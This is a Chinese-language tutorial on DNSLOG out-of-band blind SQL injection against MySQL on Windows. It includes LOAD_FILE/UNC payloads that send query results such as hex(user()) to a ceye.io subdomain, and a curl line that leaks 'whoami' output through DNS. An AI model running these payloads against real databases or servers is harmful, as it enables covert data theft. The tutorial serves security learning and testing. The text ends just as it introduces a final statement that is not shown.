0x00 DNS 注入原理:

测试一些站点时,大部分都是没有回显的,这时我们一般自己写脚本来猜数据,但是会产生大量的请求导致IP被ban。

所以这时我们就可以把 select 出来的数据发给dns服务器,利用dns解析产生日志来查看数据

原理就是DNS在解析的时候会留下日志,然后我们通过dns平台来读取多级域名的解析日志,来获取信息

简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。

DNSLOG 平台, http://ceye.io/

DNS 在解析的时候会留下日志,通过读取多级域名的解析日志,获取请求信息。

image.png

curl whoami.xxxx.ceye.io
linux 输入这个会在中执行 whoami 命令,会在dnslog平台回显结果
image.png

0x01 权限查看

通过DNS log盲注要用到 load_file() 函数,所以一般要是root权限,并且要 load_file() 函数可以正常使用。

  • mysql执行:show variables like ‘%secure%’;
  • 查看load_file()可以读取的磁盘。
  1. 当secure_file_priv为空,就可以读取全部磁盘的文件。
  2. 当secure_file_priv为G:\,就可以读取G盘的文件。
  3. 当secure_file_priv为null,load_file就不能加载文件。
  1. mysql> show variables like '%secure%';
  2. +------------------+-------+
  3. | Variable_name | Value |
  4. +------------------+-------+
  5. | secure_auth | OFF |
  6. | secure_file_priv | |
  7. +------------------+-------+
  8. 2 rows in set (0.00 sec)

0x02 my.ini 修改

本地测试时,如果权限不够可以修改一下

  1. 打开my.ini
  2. 搜索一下secure_file_priv
  3. 有就修改为 secure_file_priv=””
  4. 没有就添加这一句:secure_file_priv=””
  5. 重新mysql

0x03 测试

  1. 记忆方式:select LOAD_FILE(CONCAT('\\\\',(select payload),'.11b7kdti.ceye.io\\abc'));
  1. 实战:select LOAD_FILE(CONCAT('\\\\',(select hex(user())),'.11b7kdti.ceye.io\\abc'));;

UNC路径:

以下是百度的UNC路径的解释
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。格式为:+ \servername\sharename\directory\filename。
其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式\sss.xxx\test\

原理就是’\\‘代表Microsoft Windows通用命名规则(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。双斜杠表示网络资源路径多加两个\就是转义了反斜杠。(UNC格式 \servername\sharename ,其中 servername 是服务器名,sharename 是共享资源名)

image.png

因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据

0x04 注意点

  1. 域名前缀长度限制在63个字符,解决办法是用mid()之类的函数来获取。
  2. 域名前缀不支持一些特殊字符,如*,解决办法是用hex()或者其他加密函数,获取到数据后再解密。
  3. 使用 Load_file()函数只能在windows操作系统发起请求,不能在linux服务器上发送请求。

用Navicat 执行 DNSLOG 语句时,必须用hex对执行函数返回的结果进行编码,dns平台接收之后在解码。语句如下